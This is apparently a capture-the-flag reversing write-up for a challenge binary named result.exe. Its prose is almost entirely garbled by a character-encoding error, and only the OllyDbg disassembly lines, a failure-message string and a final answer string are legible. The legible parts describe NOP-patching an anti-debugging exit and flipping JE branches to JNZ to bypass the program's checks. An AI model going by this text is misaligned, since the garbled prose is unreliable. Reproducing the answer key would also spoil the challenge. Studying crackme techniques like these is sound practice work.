Exelsior&Rgent ¸¶Áö¸· ¹®Á¦) result.exeÆÄÀÏÀ» ollydbg·Î ºÐ¼®ÇÏ·Á°í ÆÄÀÏÀ» ¿­°í runÀ» ÇÏ´Ï ÇÁ·Î±×·¥ÀÌ Á¾·áµË´Ï´Ù. ¾Æ¸¶µµ ³»ºÎ¿¡ µð¹ö±ë ¹æÁö ·çƾÀÌ ÀÖ´Â°Í °°½À´Ï´Ù. À̺κÐÀº ¿¹Àü¿¡ »ðÁúÇÑ °æÇèÀÌ Àֱ⠶§¹®¿¡ ½±°Ô ³Ñ±æ ¼ö ÀÖ¾ú½À´Ï´Ù. óÀ½ºÎÅÍ breakpoint¸¦ °É°í Â÷±ÙÂ÷±Ù ¸®¹ö½Ì ÇØ ³ª°©´Ï´Ù. 004015C3 |. E8 F83B0000 CALL result.004051C0 ¿¡¼­ ºÐ±â°¡ µÈ ÈÄ Á¾·áµË´Ï´Ù. call¹® ¾ÈÀ¸·Î µé¾î°¡ ´Ù½Ã ºêÆ÷¸¦ °Ì´Ï´Ù.( ÀÌÀü ºêÆ÷ ÇØÁ¦ ) 004051CB |. E8 70000000 CALL result.00405240 ; \result.00405240 ¿©±â¼­ ´Ù½Ã ºÐ±â µÈ ÈÄ Á¾·áÇÕ´Ï´Ù. 00405240 ÁÖ¼Ò·Î °¡¼­ ºêÆ÷¸¦ °Ç ÈÄ ÃµÃµÈ÷ »ìÆ캸¸é Á¦ÀÏ ¹Ø¿¡ ExitProccess°¡ ÀÖ½À´Ï´Ù. µð¹ö°Å üũ¸¦ ÇÑ µÚ üũ±¸¹®°ú ¹°¸®¸é ExitProccess¸¦ ÀÌ¿ëÇÏ¿© Á¾·á½Ãŵ´Ï´Ù. Àú ºÎºÐÀ» NOPÀ¸·Î ä¿ì°í ÆÐÄ¡ÇÕ´Ï´Ù. À̷μ­ µð¹ö±ë ¹æÁö ·çƾÀ» ¹«·ÂÈ­ ½Ãų ¼ö ÀÖ½À´Ï´Ù. ÇÁ·Î±×·¥À» »ìÆ캸´Ï ·¹Áö½ºÆ®¸®¸¦ Á¶ÀÛÇØ¾ß ÇÏ´Â °Í °°½À´Ï´Ù. ·¹Áö½ºÆ®¸®¸¦ Á¶ÀÛÇÏÁö ¾Ê°í Ç®¾îº¸°Ú½À´Ï´Ù. 0040BC79 74 1C JE SHORT resultx.0040BC97 0040BC7B |. 68 78004200 PUSH resultx.00420078 ; /Arg2 = 00420078 ASCII "sorry : This problem is not solved. Try again :( " À̺κÐÀ» º¸¸é ¾î¶°ÇÑ Ã¼Å©°¡ ÀÌ·ç¾î Áø µÚ¿¡ ÀÏÄ¡ÇÏÁö ¾ÊÀ¸¸é Á¾·áÇϴ°ÍÀ¸·Î º¸ÀÔ´Ï´Ù. ºÐ±âÁ¡À» JNZ·Î °íÃÄÁØ µÚ ³Ñ¾î°©´Ï´Ù. 0040BCDD 74 1C JE SHORT resultx.0040BCFB 0040BCDF |. 68 78004200 PUSH resultx.00420078 ; /Arg2 = 00420078 ASCII "sorry : This problem is not solved. Try again :( " ¾Æ±î¿Í ºñ½ÁÇÑ °æ¿ìÀÔ´Ï´Ù. JNZ·Î ¼öÁ¤ÇÑ µÚ ³Ñ¾î°©´Ï´Ù. ÀÌ·±½ÄÀ¸·Î üũ°¡ ÀǽɵǴ ºÎºÐÀÇ ºÐ±âÁ¡À» °íÃÄ ÁØ µÚ ½ÇÇà½ÃÅ°¸é ´äÀ» ±¸ÇÒ ¼ö ÀÖ½À´Ï´Ù. ¸¶Áö¸·´äÀº, C*dafd*hcdcyb*0#